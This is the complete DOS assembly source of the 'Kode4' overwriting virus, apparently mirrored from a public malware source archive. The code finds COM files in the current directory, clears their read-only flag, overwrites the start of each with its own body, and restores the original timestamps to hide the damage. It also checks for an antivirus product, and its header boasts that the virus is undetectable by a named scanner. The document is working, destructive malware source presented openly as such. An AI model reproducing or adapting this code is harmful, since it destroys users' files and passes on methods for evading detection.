mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
95 lines
3.3 KiB
NASM
95 lines
3.3 KiB
NASM
;######################################################################
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;# Name: Kode4 version 1.0 (overwritting stage)
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;# Author: Soltan Griss [YAM]
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;#
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;# Description: What this sucker does is very simple. it overwrites
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;# the first 46 bytes of all com files in the current
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;# directory, with it's own code... as of scanv93, this
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;# virus is undetectable..
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;#
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;#
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;# Special Thanks go out to Data Disruptor.. If it were not for you i
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;# would still be fucking lost!!!!
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;#
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;######################################################################
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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V_Length equ last-start
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KODE4 proc far
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start label near ;Check for Virex installiation
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mov ax,0ff0fh
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int 21h
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cmp ax,0101h ;Abort if Virex Protection
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je done ; present
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mov ah,4Eh ;Find first Com file
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mov dx,offset filename ;use "*.com"
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int 21h
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Back:
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mov ah,43h ;get rid of read only
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mov al,0
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mov dx,9eh
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int 21h
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mov ah,43h
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mov al,01
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and cx,11111110b
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int 21h
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mov ax,3D01h ;Open file for writing
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mov dx,9Eh ;get file name from file DTA
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int 21h
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mov bx,ax ;save handle in bx
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mov ah,57h ;get time date
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mov al,0
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int 21h
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push cx ;put in stack for later
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push dx
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mov dx,100h ;Start writing at 100h
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mov cl,v_length ;write 46 bytes
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mov ah,40h ;Write Data into the file
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int 21h
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pop dx ;Restore old dates and times
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pop cx
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mov ah,57h
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mov al,01h
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int 21h
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mov ah,3Eh ;Close the file
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int 21h
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mov ah,4Fh ;Find Next file
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int 21h
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jnc Back
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mov ah,9h
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mov dx,offset DATA
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int 21h
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done: int 20h ;Terminate Program
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filename db "*.c*",0
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DATA db " -=+ Kode4 +=-, The one and ONLY!$"
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kode4 endp
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LAST label near
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seg_a ends
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end start
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